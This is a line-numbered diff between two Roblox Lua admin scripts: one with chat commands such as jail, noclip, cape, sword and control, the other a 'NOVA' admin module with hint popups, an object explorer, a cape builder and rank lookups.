550 | + | Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil, |
551 | - | for i, v in pairs(plrz) do |
551 | + | function() |
552 | RemoveTablets(Speaker) | |
553 | - | if v and v:findFirstChild("leaderstats") then |
553 | + | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) |
554 | - | for a, q in pairs(v.leaderstats:children()) do |
554 | + | end |
555 | - | if q:IsA("IntValue") then q.Value = 0 end |
555 | + | ) |
556 | Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil, | |
557 | function() | |
558 | RemoveTablets(Speaker) | |
559 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker) | |
560 | end | |
561 | ) | |
562 | - | if msg:lower():sub(1,5) == "gear " then |
562 | + | Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil, |
563 | - | local chk1 = msg:lower():sub(6):find(" ") + 5 |
563 | + | function() |
564 | - | local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1)) |
564 | + | RemoveTablets(Speaker) |
565 | - | for i, v in pairs(plrz) do |
565 | + | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker) |
566 | end | |
567 | - | if v and v:findFirstChild("Backpack") then |
567 | + | ) |
568 | - | local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) |
568 | + | Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil, |
569 | - | for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end |
569 | + | function() |
570 | - | obj:Destroy() |
570 | + | RemoveTablets(Speaker) |
571 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker) | |
572 | end | |
573 | ) | |
574 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
575 | end | |
576 | - | if msg:lower():sub(1,4) == "hat " then |
576 | + | |
577 | - | local chk1 = msg:lower():sub(5):find(" ") + 4 |
577 | + | --[[ MAKE HINT ]]-- |
578 | - | local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1)) |
578 | + | |
579 | - | for i, v in pairs(plrz) do |
579 | + | function makeHint(Text,Parent) |
580 | coroutine.resume(coroutine.create(function() | |
581 | - | if v and v.Character then |
581 | + | local M = Instance.new("Hint",Parent) |
582 | - | local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))) |
582 | + | for i = 1, string.len(Text) do |
583 | - | for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end |
583 | + | M.Text = M.Text .. string.sub(Text, i, i) |
584 | - | obj:Destroy() |
584 | + | wait(math.random() * 0.1) |
585 | end | |
586 | M.Text = M.Text .. "" | |
587 | for i = 1, math.random(2, 6) do | |
588 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_" | |
589 | wait(0.4) | |
590 | - | if msg:lower():sub(1,5) == "cape " then |
590 | + | M.Text = string.sub(M.Text, 1, string.len(Text)) .. " " |
591 | - | local chk1 = msg:lower():sub(6):find(" ") |
591 | + | wait(0.4) |
592 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
592 | + | end |
593 | - | local str = "torso.BrickColor" |
593 | + | M.Text = string.sub(M.Text, 1, string.len(Text)) |
594 | - | if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) |
594 | + | for i = 1, string.len(M.Text) do |
595 | - | local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]] |
595 | + | M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1) |
596 | - | if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end |
596 | + | wait() |
597 | - | if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end |
597 | + | end |
598 | - | if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end |
598 | + | M:Remove() |
599 | - | if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end |
599 | + | end)) |
600 | - | if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end |
600 | + | |
601 | - | if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end |
601 | + | function makeMessage(Text,Parent) |
602 | - | if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end |
602 | + | coroutine.resume(coroutine.create(function() |
603 | - | if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end |
603 | + | local M = Instance.new("Message",Parent) |
604 | - | if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end |
604 | + | for i = 1, string.len(Text) do |
605 | - | if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end |
605 | + | M.Text = M.Text .. string.sub(Text, i, i) |
606 | - | if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end |
606 | + | wait(math.random() * 0.1) |
607 | - | if BrickColor.new(teststr) ~= nil then str = teststr end |
607 | + | end |
608 | M.Text = M.Text .. "" | |
609 | - | for i, v in pairs(plrz) do |
609 | + | for i = 1, math.random(2, 6) do |
610 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_" | |
611 | - | if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then |
611 | + | wait(0.4) |
612 | - | for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end |
612 | + | M.Text = string.sub(M.Text, 1, string.len(Text)) .. " " |
613 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer |
613 | + | wait(0.4) |
614 | - | repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") |
614 | + | end |
615 | - | local torso = plr.Character.Torso |
615 | + | M.Text = string.sub(M.Text, 1, string.len(Text)) |
616 | - | local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false |
616 | + | for i = 1, string.len(M.Text) do |
617 | - | p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom" |
617 | + | M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1) |
618 | - | p.Size = Vector3.new(.2,.2,.2) |
618 | + | wait() |
619 | - | local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) |
619 | + | end |
620 | - | local motor1 = Instance.new("Motor", p) |
620 | + | M:Remove() |
621 | - | motor1.Part0 = p |
621 | + | end)) |
622 | - | motor1.Part1 = torso |
622 | + | |
623 | - | motor1.MaxVelocity = .01 |
623 | + | |
624 | - | motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) |
624 | + | --[[ EXPLORE ]]-- |
625 | - | motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) |
625 | + | function Explore(Thing,Speaker) |
626 | - | local wave = false |
626 | + | if Speaker == nil then |
627 | - | repeat wait(1/44) |
627 | + | print("[NOVA.Explore] Argument 1 missing or nil.") |
628 | - | local ang = 0.1 |
628 | + | return |
629 | - | local oldmag = torso.Velocity.magnitude |
629 | + | end |
630 | - | local mv = .002 |
630 | + | pcall(function() |
631 | - | if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end |
631 | + | if Thing == game or Thing == nil then |
632 | - | ang = ang + math.min(torso.Velocity.magnitude/11, .5) |
632 | + | RemoveTablets(Speaker) |
633 | - | motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv |
633 | + | for _,v in pairs(NOVA.Services) do |
634 | - | motor1.DesiredAngle = -ang |
634 | + | Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end) |
635 | - | if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end |
635 | + | end |
636 | - | repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 |
636 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
637 | - | if torso.Velocity.magnitude < .1 then wait(.1) end |
637 | + | else |
638 | - | until not p or p.Parent ~= torso.Parent |
638 | + | if #Thing:children() == 0 then |
639 | - | script:Destroy() |
639 | + | RemoveTablets(Speaker) |
640 | - | ]] cl.Parent = v.PlayerGui cl.Disabled = false |
640 | + | Explore(Thing.Parent.Parent,Speaker) |
641 | else | |
642 | RemoveTablets(Speaker) | |
643 | for _,v in pairs(Thing:children()) do | |
644 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
645 | function() | |
646 | - | if msg:lower():sub(1,7) == "uncape " then |
646 | + | RemoveTablets(Speaker) |
647 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
647 | + | Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker) |
648 | - | for i, v in pairs(plrz) do |
648 | + | Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker) |
649 | Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker) | |
650 | - | if v and v:findFirstChild("PlayerGui") and v.Character then |
650 | + | Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end ) |
651 | - | for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end |
651 | + | Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end ) |
652 | Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end ) | |
653 | Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end ) | |
654 | Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end) | |
655 | Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end) | |
656 | Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end) | |
657 | - | if msg:lower():sub(1,7) == "noclip " then |
657 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
658 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
658 | + | end |
659 | - | for i, v in pairs(plrz) do |
659 | + | ) |
660 | end | |
661 | - | if v and v:findFirstChild("PlayerGui") then |
661 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
662 | - | local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]] |
662 | + | end |
663 | - | cl.Parent = v.PlayerGui cl.Disabled = false |
663 | + | end |
664 | end) | |
665 | end | |
666 | ||
667 | --[[ CAPE ]]-- | |
668 | function Cape(v) | |
669 | - | if msg:lower():sub(1,5) == "clip " then |
669 | + | local Mode = "None" |
670 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
670 | + | local AngleX = 0 |
671 | - | for i, v in pairs(plrz) do |
671 | + | pcall(function() |
672 | v.Character.Swordpack:remove() | |
673 | - | if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then |
673 | + | end) |
674 | - | for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end |
674 | + | pcall(function() |
675 | - | v.Character.Torso.Anchored = false |
675 | + | v.Character["NOVA Cape"]:remove() |
676 | - | wait(.1) v.Character.Humanoid.PlatformStand = false |
676 | + | end) |
677 | ||
678 | local Main = Instance.new("Model",v.Character) | |
679 | Main.Name = "NOVA Cape" | |
680 | ||
681 | pcall(function() | |
682 | - | if msg:lower():sub(1,5) == "jail " then |
682 | + | v.Character.Swordpack:Remove() |
683 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
683 | + | end) |
684 | - | for i, v in pairs(plrz) do |
684 | + | |
685 | local Cape = Instance.new("Part", Main) | |
686 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
686 | + | Cape.Name = "Cape" |
687 | - | local vname = v.Name |
687 | + | Cape.Anchored = false |
688 | - | local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0) |
688 | + | Cape.Locked = true |
689 | - | local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail" |
689 | + | Cape.CanCollide = false |
690 | - | local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0) |
690 | + | Cape.formFactor = "Custom" |
691 | - | v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
691 | + | Cape.Size = Vector3.new(2, 3.5, 0.2) |
692 | - | v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
692 | + | Cape.BrickColor = BrickColor.new("Really black") |
693 | - | game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end |
693 | + | Cape.TopSurface = 0 |
694 | - | v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
694 | + | Cape.BottomSurface = 0 |
695 | - | v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end) |
695 | + | local Decal = Instance.new("Decal", Cape) |
696 | Decal.Face = "Back" | |
697 | - | local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0) |
697 | + | Decal.Texture = "" |
698 | - | local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3) |
698 | + | local CapeWeld = Instance.new("Weld", Cape) |
699 | - | local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3) |
699 | + | CapeWeld.Part0 = v.Character.Torso |
700 | - | local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0) |
700 | + | CapeWeld.Part1 = Cape |
701 | - | local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0) |
701 | + | CapeWeld.C0 = CFrame.new(0, 1, 0.5) |
702 | - | local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0) |
702 | + | CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) |
703 | - | local msh2 = msh:Clone() msh2.Parent = back |
703 | + | v.Character.Humanoid.Running:connect(function(Speed) |
704 | - | local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1) |
704 | + | if Speed > 0 then |
705 | - | local msh4 = msh3:Clone() msh4.Parent = left |
705 | + | Mode = "Running" |
706 | - | v.Character.Torso.CFrame = cf |
706 | + | else |
707 | Mode = "None" | |
708 | end | |
709 | end) | |
710 | v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end) | |
711 | coroutine.wrap(function() | |
712 | - | if msg:lower():sub(1,7) == "unjail " then |
712 | + | while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do |
713 | - | local plrz = GetPlr(plr, msg:lower():sub(8)) |
713 | + | local UpSpeed = 2.5 |
714 | - | for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end |
714 | + | local DownSpeed = 5 |
715 | local TargetAngle = 5 | |
716 | if Mode == "Running" then | |
717 | - | if msg:lower():sub(1,11) == "starttools " then |
717 | + | TargetAngle = 45 + math.random(0, 2500) / 100 |
718 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
718 | + | elseif Mode == "Jumping" then |
719 | - | for i, v in pairs(plrz) do |
719 | + | UpSpeed = 10 |
720 | DownSpeed = 10 | |
721 | - | if v and v:findFirstChild("Backpack") then |
721 | + | TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45) |
722 | - | for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end |
722 | + | end |
723 | if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end | |
724 | if AngleX < TargetAngle then | |
725 | AngleX = AngleX + UpSpeed | |
726 | elseif AngleX > TargetAngle then | |
727 | AngleX = AngleX - DownSpeed | |
728 | - | if msg:lower():sub(1,6) == "sword " then |
728 | + | end |
729 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
729 | + | CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0) |
730 | - | for i, v in pairs(plrz) do |
730 | + | wait() |
731 | end | |
732 | - | if v and v:findFirstChild("Backpack") then |
732 | + | end)() |
733 | - | local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png" |
733 | + | |
734 | - | sword.GripForward = Vector3.new(-1,0,0) |
734 | + | local LShoulder = Instance.new("Part",Main) |
735 | - | sword.GripPos = Vector3.new(0,0,-1.5) |
735 | + | LShoulder.Name = "Left Shoulder" |
736 | - | sword.GripRight = Vector3.new(0,1,0) |
736 | + | LShoulder.TopSurface = "Smooth" |
737 | - | sword.GripUp = Vector3.new(0,0,1) |
737 | + | LShoulder.BottomSurface = "Smooth" |
738 | - | local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0 |
738 | + | LShoulder.FormFactor = "Custom" |
739 | - | local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png" |
739 | + | LShoulder.Size = Vector3.new(1,0.2,1) |
740 | - | local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[ |
740 | + | LShoulder.BrickColor = BrickColor.new("Really black") |
741 | - | repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") |
741 | + | LShoulder.Anchored = false |
742 | - | local Damage = 15 |
742 | + | LShoulder.Locked = true |
743 | - | local SlashSound = Instance.new("Sound", script.Parent.Handle) |
743 | + | LShoulder.CanCollide = false |
744 | - | SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" |
744 | + | LShoulder.Transparency = 0 |
745 | - | SlashSound.Volume = 1 |
745 | + | LShoulder.Reflectance = 0 |
746 | - | local LungeSound = Instance.new("Sound", script.Parent.Handle) |
746 | + | local Weld = Instance.new("Motor6D",LShoulder) |
747 | - | LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" |
747 | + | Weld.Part0 = LShoulder |
748 | - | LungeSound.Volume = 1 |
748 | + | Weld.Part1 = v.Character["Left Arm"] |
749 | - | local UnsheathSound = Instance.new("Sound", script.Parent.Handle) |
749 | + | Weld.C0 = CFrame.new(0,-1,0) |
750 | - | UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" |
750 | + | |
751 | - | UnsheathSound.Volume = 1 |
751 | + | local RShoulder = Instance.new("Part",Main) |
752 | - | local last = 0 |
752 | + | RShoulder.Name = "Right Shoulder" |
753 | - | script.Parent.Handle.Touched:connect(function(hit) |
753 | + | RShoulder.TopSurface = "Smooth" |
754 | - | if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then |
754 | + | RShoulder.BottomSurface = "Smooth" |
755 | - | local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3) |
755 | + | RShoulder.FormFactor = "Custom" |
756 | - | hit.Parent.Humanoid:TakeDamage(Damage) |
756 | + | RShoulder.Size = Vector3.new(1,0.2,1) |
757 | RShoulder.BrickColor = BrickColor.new("Really black") | |
758 | RShoulder.Anchored = false | |
759 | - | script.Parent.Activated:connect(function() |
759 | + | RShoulder.Locked = true |
760 | - | if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end |
760 | + | RShoulder.CanCollide = false |
761 | - | script.Parent.Enabled = false |
761 | + | RShoulder.Transparency = 0 |
762 | - | local tick = game:service("RunService").Stepped:wait() |
762 | + | RShoulder.Reflectance = 0 |
763 | - | if tick - last <= .2 then |
763 | + | local Weld = Instance.new("Motor6D",RShoulder) |
764 | - | LungeSound:play() |
764 | + | Weld.Part0 = RShoulder |
765 | - | local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge" |
765 | + | Weld.Part1 = v.Character["Right Arm"] |
766 | - | local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0) |
766 | + | Weld.C0 = CFrame.new(0,-1,0) |
767 | - | wait(.2) |
767 | + | |
768 | - | script.Parent.GripForward = Vector3.new(0,0,1) |
768 | + | local NeckFlat = Instance.new("Part",Main) |
769 | - | script.Parent.GripRight = Vector3.new(0,-1,0) |
769 | + | NeckFlat.Name = "NeckFlat" |
770 | - | script.Parent.GripUp = Vector3.new(-1,0,0) |
770 | + | NeckFlat.TopSurface = "Smooth" |
771 | - | wait(.3) |
771 | + | NeckFlat.BottomSurface = "Smooth" |
772 | - | frc:Destroy() wait(.5) |
772 | + | NeckFlat.FormFactor = "Custom" |
773 | - | script.Parent.GripForward = Vector3.new(-1,0,0) |
773 | + | NeckFlat.Size = Vector3.new(2,0.2,1) |
774 | - | script.Parent.GripRight = Vector3.new(0,1,0) |
774 | + | NeckFlat.BrickColor = BrickColor.new("Really black") |
775 | - | script.Parent.GripUp = Vector3.new(0,0,1) |
775 | + | NeckFlat.Anchored = false |
776 | - | else |
776 | + | NeckFlat.Locked = true |
777 | - | SlashSound:play() |
777 | + | NeckFlat.CanCollide = false |
778 | - | local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash" |
778 | + | NeckFlat.Transparency = 0 |
779 | NeckFlat.Reflectance = 0 | |
780 | - | last = tick |
780 | + | local Weld = Instance.new("Motor6D",NeckFlat) |
781 | - | script.Parent.Enabled = true |
781 | + | Weld.Part0 = NeckFlat |
782 | Weld.Part1 = v.Character.Torso | |
783 | - | script.Parent.Equipped:connect(function(mouse) |
783 | + | Weld.C0 = CFrame.new(0,-1,0) |
784 | - | for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end |
784 | + | |
785 | - | UnsheathSound:play() |
785 | + | for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end |
786 | - | script.Parent.Enabled = true |
786 | + | |
787 | - | if not mouse then return end |
787 | + | |
788 | - | mouse.Icon = "http://www.roblox.com/asset/?id=103593352" |
788 | + | |
789 | - | end)]] cl.Disabled = false |
789 | + | --[[ GET SPLIT ]]-- |
790 | function GetSplit(Msg) | |
791 | Split = nil | |
792 | for i=1,100 do | |
793 | if string.sub(Msg,i,i) == NOVA.Bet then | |
794 | Split = i | |
795 | - | if msg:lower():sub(1,6) == "clone " then |
795 | + | break |
796 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
796 | + | end |
797 | - | for i, v in pairs(plrz) do |
797 | + | end |
798 | return Split | |
799 | - | if v and v.Character then |
799 | + | |
800 | - | v.Character.Archivable = true |
800 | + | |
801 | - | local cl = v.Character:Clone() |
801 | + | --[[ GET RANK ]]-- |
802 | - | table.insert(objects,cl) |
802 | + | |
803 | - | cl.Parent = game.Workspace |
803 | + | function GetRank(Player) |
804 | - | cl:MoveTo(v.Character:GetModelCFrame().p) |
804 | + | Rtn = nil |
805 | - | cl:MakeJoints() |
805 | + | if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then |
806 | - | v.Character.Archivable = false |
806 | + | return 8 |
807 | end | |
808 | if type(Player) == "userdata" then | |
809 | for _,v in pairs(NOVA.Ranked) do | |
810 | if v.Name:lower() == Player.Name:lower() then | |
811 | Rtn = v.Rank | |
812 | - | if msg:lower():sub(1,8) == "control " then |
812 | + | end |
813 | - | local plrz = GetPlr(plr, msg:lower():sub(9)) |
813 | + | end |
814 | - | for i, v in pairs(plrz) do |
814 | + | elseif type(Player) == "string" then |
815 | for _,v in pairs(NOVA.Ranked) do | |
816 | - | if v and v.Character then |
816 | + | if v.Name:lower() == Player:lower() then |
817 | - | v.Character.Humanoid.PlatformStand = true |
817 | + | Rtn = v.Rank |
818 | - | local w = Instance.new("Weld", plr.Character.Torso ) |
818 | + | end |
819 | - | w.Part0 = plr.Character.Torso |
819 | + | end |
820 | - | w.Part1 = v.Character.Torso |
820 | + | else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")") |
821 | - | local w2 = Instance.new("Weld", plr.Character.Head) |
821 | + | end |
822 | - | w2.Part0 = plr.Character.Head |
822 | + | return Rtn |
823 | - | w2.Part1 = v.Character.Head |
823 | + | |
824 | - | local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) |
824 | + | |
825 | - | w3.Part0 = plr.Character:findFirstChild("Right Arm") |
825 | + | --[[ GET RANK NAME ]]-- |
826 | - | w3.Part1 = v.Character:findFirstChild("Right Arm") |
826 | + | function GetRankName(Player) |
827 | - | local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm")) |
827 | + | if type(Player) == "userdata" or type(Player) == "string" then |
828 | - | w4.Part0 = plr.Character:findFirstChild("Left Arm") |
828 | + | Rtn = nil |
829 | - | w4.Part1 = v.Character:findFirstChild("Left Arm") |
829 | + | Rank = GetRank(Player) |
830 | - | local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) |
830 | + | for _,v in pairs(NOVA.Ranks) do |
831 | - | w5.Part0 = plr.Character:findFirstChild("Right Leg") |
831 | + | if v[1] == Rank then |
832 | - | w5.Part1 = v.Character:findFirstChild("Right Leg") |
832 | + | Rtn = v[2] |
833 | - | local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) |
833 | + | end |
834 | - | w6.Part0 = plr.Character:findFirstChild("Left Leg") |
834 | + | end |
835 | - | w6.Part1 = v.Character:findFirstChild("Left Leg") |
835 | + | return Rtn |
836 | - | plr.Character.Head.face:Destroy() |
836 | + | else |
837 | - | for i, p in pairs(v.Character:children()) do |
837 | + | print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")") |
838 | - | if p:IsA("BasePart") then |
838 | + | return "NOT AVALIBLE" |
839 | - | p.CanCollide = false |
839 | + | end |
840 | end | |
841 | ||
842 | - | for i, p in pairs(plr.Character:children()) do |
